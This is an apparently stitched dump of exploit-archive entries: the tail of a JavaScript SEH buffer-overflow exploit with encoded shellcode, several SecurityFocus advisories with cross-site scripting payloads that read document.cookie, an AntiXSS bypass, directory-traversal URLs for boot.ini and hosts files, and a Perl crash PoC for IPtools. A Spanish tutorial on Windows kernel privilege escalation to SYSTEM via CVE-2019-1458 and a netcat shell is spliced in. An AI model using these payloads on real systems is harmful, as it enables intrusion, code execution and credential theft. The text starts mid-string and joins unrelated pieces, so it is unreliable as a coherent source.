"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for(i=0;i<(4000-(arg1.length + seh.length + nseh.length + nops.length+ sc.length));i++) { buff += "A"; } // [junk buffer][next SEH(jump)][SE Handler (pop pop ret)][Shellcode] fbuff = arg1 + nseh + seh + nops + sc + buff; target.LoadImage(fbuff); </script> </html>

source: https://www.securityfocus.com/bid/51294/info SQLiteManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. SQLiteManager 1.2.4 is vulnerable; other versions may also be affected. http://www.example.com/sqlite/main.php?dbsel=&#039;"</script><script>alert(document.cookie)</script>

source: https://www.securityfocus.com/bid/51293/info VertrigoServ is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. VertrigoServ 2.25 is vulnerable; other versions may also be affected. http://www.example.com/inc/extensions.php?mode=extensions&ext=&#039;"</script><script>alert(document.cookie)</script>

source: https://www.securityfocus.com/bid/51291/info Microsoft Anti-Cross Site Scripting (AntiXSS) Library is prone to a security-bypass vulnerability that affects the sanitization module. An attacker can exploit this vulnerability to bypass the filter and conduct cross-site scripting attacks. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials. Microsoft Anti-Cross Site Scripting Library 3.x and 4.0 are vulnerable. string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div>"); string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style="">aaa</div>")

source: https://www.securityfocus.com/bid/51294/info SQLiteManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. SQLiteManager 1.2.4 is vulnerable; other versions may also be affected. IE-only http://www.example.com/sqlite/?nsextt=" stYle="x:expre/**/ssion(alert(document.cookie)) http://www.example.com/sqlite/index.php?dbsel=" stYle="x:expre/**/ssion(alert(document.cookie)) http://www.example.com/sqlite/index.php?nsextt=" stYle="x:expre/**/ssion(alert(document.cookie))

source: https://www.securityfocus.com/bid/51301/info Astaro Security Gateway is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Astaro Security Gateway 8.1 is vulnerable; other versions may also be affected. <div style="left: 300px; top: 220px; z-index: 2000; visibility: visible;" class="iPopUp" id="iPopup_2"><div class="iPopUpTitle">Please confirm:</div><div class="iPopUpText"><p>&#8203;&#8203;&#8203;&#8203;&#8203;Are you sure that you want to delete the X509 certificate with private key object '>"<INCLUDED PERSISTENT SCRIPTCODE HERE!!!">'?</p></iframe></p></div><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td style="padding: 2px;"><div id="btnDefault_iPopup_2" class="button" style="width: auto; cursor: pointer; color: black; font-weight: bold;"><div class="button_left"></div><div class="button_center" style="width: auto;"><span style="font-weight: normal;">OK</span></div><div class="button_right"></div></div></td>&#8203;&#8203;&#8203;&#8203;&#8203;<td style="padding: 2px;"><div class="button" style="width: auto; cursor: pointer; color: black;"><div class="button_left"></div><div class="button_center" style="width: auto;"><span style="font-weight: normal;">Cancel</span></div><div class="button_right"></div></div></td></tr></tbody></table></div> ../index.dat

El kernel al ser el núcleo de cualquier sistema operativo, y la capa entre el hardware y software. Una explotación de este, deriva en que todo es ejecutado por el usuario SYSTEM (el usuario con mayor privilegios de todos en sistemas Windows). El proceso para encontrar vulnerabilidades de kernel y explotarlas es aproximadamente el siguiente: Enumeramos la versión y parches de Windows –> systeminfoBuscamos exploits asociados a esa versión o parchesCompilamos y ejecutamos –> No hace falta compilar si nos descargamos ya un exploit compilado Hay que tener cuidado con los exploits de kernel, ya que suelen ser inestables, de un solo uso o que cause un crasheo del sistema. Por eso esta debe ser una de las últimas opciones para escalar privilegios. Hay distintas herramientas que nos pueden ayudar a identificar este tipo de vulnerabilidades: Windows Exploit Suggester Next GenerationWatsonEn metasploit: windows/gather/enum_patchesInternet Una vez enumerado que tipos de parches faltan o que vulnerabilidad afectan, podemos hacer uso de SecWiki, es un recurso que contiene una gran cantidad de exploits de kernel ya compilados. Dicho esto, vamos con un caso práctico usando «Windows Exploit Suggester Next Generation»: Lo primero de todo es obtener el systeminfo, esto incluye pasarlo a nuestra máquina Kali. Esta parte es sencilla, ya que lo podemos hacer en un solo paso. En nuestro Linux (en mi caso, kali) nos ejecutamos un servidor samba: El argumento pwned es el nombre del recurso compartido, y el segundo argumento $(pwd) es la forma en la que le indicamos la ruta donde se ejecutará el servidor, en este caso, la ruta actual (también podríamos indicarlo con solo un punto). Teniendo el servidor montado, nos dirigimos al Windows y simplemente redirigimos la salida del comando a nuestro servidor y recurso compartido: Podemos confirmar que ha habido conexión si nos dirigimos al kali: De esta forma, ya tenemos la salida del systeminfo: Teniendo esto, vamos a hacer uso del «WESNG», lo primero es actualizar la base de datos de este. Es muy sencillo, simplemente lanzamos el siguiente comando: Con esto, habrá actualizado el listado de CVEs. El comando más básico de todos simplemente sería especificarle el archivo systeminfo: Su salida es demasiado grande como para mostrarlo Pero no pasa nada, vamos a usar algunos argumentos para solo ver lo que nos interesa. La estructura que sigue WESNG para mostrar cada CVE al cual puede ser vulnerable la máquina Windows, es la siguiente: El campo que nos interesa es el Impact. Podemos ver los posibles valores de Impact usando grep y sort: De esta forma, si nos fijamos, hay un valor de este campo que puede que sea por el que nos interese filtrar. Estoy hablando de «Elevation of Privilege», ya que es lo que queremos conseguir. Sabiendo esto, podemos especificar a «WESNG» que solo nos muestre los CVE cuyo impacto sea una elevación de privilegios: De esta forma, acabamos de pasar de 31883 líneas a: Que siguen siendo muchas, pero ahora es trabajo nuestro encontrar el exploit a usar. Existe otro filtrado que quizás nos interese, ya que «WESNG» muestra algunos CVE sin «Exploits» (que OJO, no quiere decir que no haya, sino que al menos, no tiene ninguno asociado): Si no nos interesa ver los CVEs los cuales no tengan ningún exploit asociado, podemos filtrar la búsqueda añadiendo el argumento --exploits-only: Si vemos ahora el número de líneas, hemos bajado mucho más: Hasta aquí posibles filtrados que nos puede interesar a la hora de buscar CVEs en «WESNG». Aun así, la herramienta tiene un panel de ayuda bastante completo y con muchas más opciones. Llegados a este punto, ya dependerá de nosotros el exploit a escoger, con la experiencia habrá CVEs que nos suenen y vayamos al grano a probar esos según el sistema operativo. Esto ya se consigue con el tiempo y el esfuerzo. En mi caso, voy a usar el «CVE-2019-1458», que ojo, el Windows 7 es vulnerable, y podemos encontrar exploits, sin embargo, «WESNG» indica que no tiene ninguno asociado, por lo que si hubiésemos usado el argumento --exploits-only, lo hubiese descartado, a pesar de ser vulnerable: Habiendo localizado el CVE, vamos a dirigirnos a SecWiki para ver si tiene el exploit compilado: En este caso, SecWiki, no tiene ningún exploit en el repositorio. Sin embargo, en el README.md nos indica otro repositorio el cual si contiene un exploit para este CVE: Es típico que en los repositorios de exploits de escalación de privilegios se nos haga un PoC (Proof of Concept) del exploit: En este caso, vemos dos cosas: El exploit solo se puede ejecutar una vez por cada inicio del sistema (esto nos puede indicar la inestabilidad resultante del exploit en el sistema). El exploit sigue la estructura de:cve-2019-1458.exe <comando a ejecutar> Sabiendo esto y teniendo descargado el binario del exploit en el Windows 7: Vamos a escalar privilegios. Establecemos un servidor samba en nuestro kali, además de ponernos en escucha: Nota: el directorio donde nos encontramos ejecutando el servidor samba, contiene el binario «nc.exe» (netcat para Windows) Ahora, volvemos al Windows 7, y ejecutaremos el siguiente comando usando el exploit: De esta forma, volviendo al kali: Conseguimos shell como «nt authority\system». En el repositorio se nos indicaba que solo era un exploit de un solo uso por cada inicio, podemos confirmarlo: Es tal la inestabilidad de en este caso, este exploit (y en general, de los exploits que se aprovechan del kernel), que cuando apagamos la máquina nos sale lo siguiente: Esto no pasa claramente con todos los exploits, pero sí que podemos observar la delicadeza de lidiar con el kernel. Retomando las herramientas mencionadas al principio: Windows Exploit Suggester Next GenerationWatsonEn metasploit: windows/gather/enum_patchesInternet Podemos usar la que más nos guste, Watson por ejemplo en este caso no nos da nada: El módulo de metasploit también nos ayuda en esta tarea: En este caso no nos da ningún output significativo. Si detectase alguna posible vulnerabilidad nos lo indicaría de la siguiente forma: Por último, pero no menos importante, otra herramienta a tener en cuenta es el propio internet. Cuando ejecutamos systeminfo obtenemos la suficiente información como para buscar en Google alguna vulnerabilidad que afecte al Sistema Operativo y a la Versión: De esta forma, aunque nos podamos ayudar de distintas herramientas, al final el trabajo manual y la propia investigación será lo que resulte en una escalada de privilegios exitosa.

source: https://www.securityfocus.com/bid/51302/info eFront is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data. Successfully exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks. eFront 3.6.10 is vulnerable; other versions may also be affected. http://www.example.com/student.php?ctg=personal&user=trainee&op=files&download=[file]

source: https://www.securityfocus.com/bid/51312/info IPtools is prone to a remote buffer-overflow vulnerability because it fails to bounds-check user-supplied input before copying it into an insufficiently sized memory buffer. Exploiting this vulnerability may allow remote attackers to execute arbitrary code in the context of the affected device. Failed exploit attempts will result in a denial-of-service condition. IPtools 0.1.4 is vulnerable; other versions may also be affected. Title: IpTools(Tiny TCP/IP server) - Rcmd Remote Overflow Vulnerability Software : IpTools(Tiny TCP/IP server) Software Version : 0.1.4 Vendor: http://iptools.sourceforge.net/iptools.html Class: Boundary Condition Error CVE: Remote: Yes Local: No Published: 2012-01-07 Updated: Impact : High Bug Description : IPtools is a set of small tiny TCP/IP programs includes Remote command server(not a telnet server, Executable file: Rcmd.bat), etc. And the remote command server would bind tcp port 23, but it does not validate the command input size leading to a Denial Of Service flaw while sending more than 255 characters to it. POC: #------------------------------------------------------------- #!/usr/bin/perl -w #IpTools(0.1.4) - Rcmd Remote Crash PoC by demonalex (at) 163 (dot) com [email concealed] #------------------------------------------------------------- use IO::Socket; $remote_host = '127.0.0.1'; #victim ip as your wish $remote_port = 23; #rcmd default port number $sock = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port, Timeout => 60) || die "$remote_host -> $remote_port is closed!\n"; $sock->recv($content, 1000, 0); $count=0; while($count<=255){ $sock->send("a", 0); $count++; } $sock->send("\r\n", 0); $sock->recv($content, 1000, 0); $sock->shutdown(2); exit(1); #------------------------------------------------------------- Credits : This vulnerability was discovered by demonalex (at) 163 (dot) com [email concealed] mail: demonalex (at) 163 (dot) com [email concealed] / ChaoYi.Huang (at) connect.polyu (dot) hk [email concealed] Pentester/Researcher Dark2S Security Team/PolyU.HK

source: https://www.securityfocus.com/bid/51311/info IpTools Tiny TCP/IP servers is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface. Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks. IpTools Tiny TCP/IP servers 0.1.4 is vulnerable; other versions may also be affected. http://www.example.com/..\..\boot.ini http://www.example.com/../../boot.ini http://www.example.com/..\..\windows\system32\drivers\etc\hosts http://www.example.com/../../windows/system32/drivers/etc/hosts

source: https://www.securityfocus.com/bid/51316/info DIGIT CMS is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. DIGIT CMS 1.0.7 is vulnerable; other versions may also be affected. http://www.example.com/path/Default.asp?sType=0&PageId=[Sqli]